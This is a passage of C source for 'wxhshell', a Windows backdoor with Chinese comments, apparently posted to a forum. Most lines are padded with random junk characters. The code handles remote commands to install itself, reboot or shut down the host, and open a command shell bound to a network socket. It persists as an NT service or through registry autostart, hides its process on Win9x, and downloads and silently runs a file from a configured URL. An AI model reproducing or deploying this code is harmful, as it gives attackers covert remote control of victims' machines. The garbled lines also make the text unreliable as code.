  case '?': { ,|s*g'u  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A5J41yH  
    break; v}N\z2A  
  } r'jUB^E  
  // 安装 &>C+5`bg  
  case 'i': { "WuUMt  
    if(Install()) mjWU0.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y|Q(JX  
    else 'fl< ac,.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9D+k71"+  
    break; $] "M`h  
    }  ?bVIH?  
  // 卸载 n|)((W  
  case 'r': { %K4M`R|2]  
    if(Uninstall()) R|$AcNp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p|.5;)%|  
    else m9A%Z bQ^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5RN!"YLI3  
    break; mf$YsvPq*+  
    } YB7n}r23  
  // 显示 wxhshell 所在路径 %L*EB;nK  
  case 'p': { qvSYrnpn  
    char svExeFile[MAX_PATH]; #i@f%Bq-  
    strcpy(svExeFile,"\n\r"); TDDMx |{  
      strcat(svExeFile,ExeFile); } LS8q  
        send(wsh,svExeFile,strlen(svExeFile),0); 4h@,hY1#  
    break; }n4 T!N  
    } lbda/Zx  
  // 重启 UjQz   
  case 'b': { _\X ,a5Un  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j=irx5:  
    if(Boot(REBOOT)) BP@tI|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P?/JyiO }  
    else { JkWhYP}  
    closesocket(wsh); e O\72? K  
    ExitThread(0); fV|uKs(W  
    } 6!"wiM"]  
    break; W&Fm ;m@M  
    } 9GH5  
  // 关机 8#yu.\N.xt  
  case 'd': { yiQ?p:DM  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); N'VTdf?  
    if(Boot(SHUTDOWN)) yy8-t2V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P.XT1)qo*  
    else { T,/rC{  
    closesocket(wsh); f(w>(1&/B  
    ExitThread(0); rZ `1G  
    } ih".y3  
    break; ^#<L!yo^  
    } {\D &*  
  // 获取shell 7-K8u  
  case 's': { mG\QF0h  
    CmdShell(wsh); 'Gl~P><e  
    closesocket(wsh); z1Bi#/i  
    ExitThread(0); \L(cFjLIl  
    break; |qn 2b=  
  } W:]2T p  
  // 退出 ]5"k%v|  
  case 'x': { t<Yi!6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "jum*<QZz  
    CloseIt(wsh); PiKP.  
    break; o@zxzZWg  
    } :TU|:2+  
  // 离开 aNEah  
  case 'q': { z qq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); VQHB}Y@^  
    closesocket(wsh); vd[7Pxe  
    WSACleanup(); '_G\_h}5  
    exit(1); q k^FyZ<  
    break; I;t@wbY,  
        } |ZH(Z}m  
  } '-%1ILK$3r  
  } .@,t}:lD  
d#0:U Y%~  
  // 提示信息 z9ADF(J?0'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dR]-R/1|  
} kP%hgZ  
  } UA8hYWRP  
losqc *|  
  return; (p%|F`  
} pz /[ ${X  
7?=^0?a  
// shell模块句柄 2/*u$~  
int CmdShell(SOCKET sock) ":udoVS!  
{ `xBoNQai  
STARTUPINFO si; p3U)J&]c6  
ZeroMemory(&si,sizeof(si)); Rsfb?${0G  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9-c3@ >v  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8<C*D".T$  
PROCESS_INFORMATION ProcessInfo; VhkM{O  
char cmdline[]="cmd"; MT&aH~YB  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |X8?B =  
  return 0; [Jt}^  
} >4X2uNbZS  
| ky40[C  
// 自身启动模式 ~JXz  
int StartFromService(void) $CEdJ+0z  
{ cb9-~*1  
typedef struct ?.VKVTX^  
{ _cs(f<>oCO  
  DWORD ExitStatus; T o["o!(;z  
  DWORD PebBaseAddress; }d?;kt  
  DWORD AffinityMask; GJ*IH9YR  
  DWORD BasePriority; }i~k:kmV  
  ULONG UniqueProcessId; 1<BKTMBq?{  
  ULONG InheritedFromUniqueProcessId; Dds-;9  
}   PROCESS_BASIC_INFORMATION; K'ZNIRr/ C  
*lSu=dk+  
PROCNTQSIP NtQueryInformationProcess; LIcc0w3  
[LnPV2@e  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Vn^GJ'^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0P5VbDv$r7  
,- AF8BP  
  HANDLE             hProcess; c#N4XsG,  
  PROCESS_BASIC_INFORMATION pbi; lr>NG,N  
"#O9ij  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d&Nnp jH}c  
  if(NULL == hInst ) return 0; ynIC (t  
Q ]CMm2L^f  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @njNP^'Kx  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "u^Erj# /  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Nu"v .]Y2  
$NVVurXa  
  if (!NtQueryInformationProcess) return 0; YcobK#c  
t<8)h8eW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MIZdk'.U  
  if(!hProcess) return 0; G]ek-[-  
> ubq{'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7\ _MA!:<  
f7_( C0d  
  CloseHandle(hProcess); ?y-^Fq|h  
k9x[( #  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); RTc@`m3 M  
if(hProcess==NULL) return 0; 4^W!,@W  
Ku ,wI86  
HMODULE hMod; dun`/QKV  
char procName[255]; U*C^g}iA  
unsigned long cbNeeded; J 8%gC  
r/sSkF F  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); GI]\  
sv=U^xI  
  CloseHandle(hProcess); 0&,D&y%  
hQ@k|3=Re  
if(strstr(procName,"services")) return 1; // 以服务启动 t.9s49P  
(.:*GUg  
  return 0; // 注册表启动 A]|w1nq  
} O-V|=t  
DPT6]pl"y  
// 主模块 sq2:yt  
int StartWxhshell(LPSTR lpCmdLine) /2Wg=&H  
{ BXYHJ  
  SOCKET wsl; Am F[#)90P  
BOOL val=TRUE; vu+g65"  
  int port=0; Ah2 {kK  
  struct sockaddr_in door; &gp&i?%X9b  
PB@IPnB-  
  if(wscfg.ws_autoins) Install(); Vg NB^w  
L/ 7AGR|;C  
port=atoi(lpCmdLine); @ual+=L  
,4Q4{Tx  
if(port<=0) port=wscfg.ws_port; RzqgN*]lY  
-hXKCb4YU  
  WSADATA data; !.6n=r8 d  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F{ %*(U  
@U_ CnhPQq  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   sE[`x^1'8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); n2K1X!E$  
  door.sin_family = AF_INET; d=vuy   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |}4\Gm  
  door.sin_port = htons(port); f}bq  
r84^/+"T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~lo43$)^  
closesocket(wsl); C+TB>~Gv`  
return 1; Y%?S:&GH  
} Cy[G7A%  
%V>%AP  
  if(listen(wsl,2) == INVALID_SOCKET) { }:2##<"\t  
closesocket(wsl); =de'Yy:\-  
return 1; zGtJ@HbB  
} kO\ O$J^S  
  Wxhshell(wsl); &[[r|  
  WSACleanup(); 8* A%k1+  
MDlH[PJ@i  
return 0; :K6JrS  
D6L+mTN  
} T`E0_ZU;  
R;!,(l  
// 以NT服务方式启动 AXlVH%'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "9_$7.q<y  
{ &3t973=  
DWORD   status = 0; 8._uwA<[  
  DWORD   specificError = 0xfffffff; bA)nWWSg=  
VO0:4{-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :(A&8<}-6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; blQ&QQL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bo|THS  
  serviceStatus.dwWin32ExitCode     = 0; N-K/jY  
  serviceStatus.dwServiceSpecificExitCode = 0;  JQQ[jl;  
  serviceStatus.dwCheckPoint       = 0; >Hnm.?-AWl  
  serviceStatus.dwWaitHint       = 0; 3 2z4G =l  
_{jC?rzb  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); F1.Xk1y%  
  if (hServiceStatusHandle==0) return; r &.~ {  
v Z9OJrF  
status = GetLastError(); 4  eLZ  
  if (status!=NO_ERROR) UDJjw  
{ !`e`4y*N  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .aT@'a{F  
    serviceStatus.dwCheckPoint       = 0; fn,n'E]  
    serviceStatus.dwWaitHint       = 0; 5f7id7SI  
    serviceStatus.dwWin32ExitCode     = status; 8_}t,BC  
    serviceStatus.dwServiceSpecificExitCode = specificError; KM;H '~PZi  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gHPJiiCv  
    return; s6~;)(r  
  } uP* kvi:e  
vqN/crJ@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 56)!&MF  
  serviceStatus.dwCheckPoint       = 0; 7GO9z<m)  
  serviceStatus.dwWaitHint       = 0; Ye3o}G9z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); q5_zsUR=  
} zu1"`K3b  
H1c8]}  
// 处理NT服务事件,比如:启动、停止 KyNu8s k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) V| V 9.  
{ @MOQk  
switch(fdwControl) qGA|.I9,  
{ e8<}{N0,n  
case SERVICE_CONTROL_STOP: HF*0  
  serviceStatus.dwWin32ExitCode = 0; [P+kQBL pL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q#3}AO  
  serviceStatus.dwCheckPoint   = 0; @4y?XL(n  
  serviceStatus.dwWaitHint     = 0; ,cNe-KJk  
  { NVx>^5QV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {N}az"T4f  
  } 7n#-3#_mG  
  return; b#?sx"z  
case SERVICE_CONTROL_PAUSE: ``CM7|)>`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7"'RE95  
  break; ~-k , $J?7  
case SERVICE_CONTROL_CONTINUE: TnN yth wZ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Tv"T+!Z  
  break; UDI\o1Rbp  
case SERVICE_CONTROL_INTERROGATE: $_F_%m"\  
  break; j;`pAN('  
}; 5@xR`g-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oT\K P  
} Ga 5s9wC  
cjL)M=pIS  
// 标准应用程序主函数 a_c(7bQ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pL,XHR@Iv  
{ fx|d"VF[  
t}k:wzZ@  
// 获取操作系统版本 b@CjnAZ  
OsIsNt=GetOsVer(); W+a/>U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Led\S;pl  
UE^o}Eyg  
  // 从命令行安装 @.7/lRr@bp  
  if(strpbrk(lpCmdLine,"iI")) Install(); }W'j Dz7O  
 [p6:uNo  
  // 下载执行文件 ]B )nN':  
if(wscfg.ws_downexe) { c ?CD;Pk  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r x9*/Q0F  
  WinExec(wscfg.ws_filenam,SW_HIDE); p(pfJ^/:(  
} 8vuTF*{yZ  
o6A$)m5V  
if(!OsIsNt) { hM]Z T5;<  
// 如果时win9x,隐藏进程并且设置为注册表启动 H/{@eaV  
HideProc(); y^ skE{  
StartWxhshell(lpCmdLine); Kn->R9Tl  
} //c6vG  
else <\epj=OclV  
  if(StartFromService()) +r!NR?^m  
  // 以服务方式启动 )'m;a_r`  
  StartServiceCtrlDispatcher(DispatchTable); }@HgFM"  
else ei4LE XQ16  
  // 普通方式启动 U^KWRqt  
  StartWxhshell(lpCmdLine); 3*I\#Z4p1  
^gcB+  
return 0; bdWdvd:  
}
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只看该作者 1 发表于: 2006-10-10
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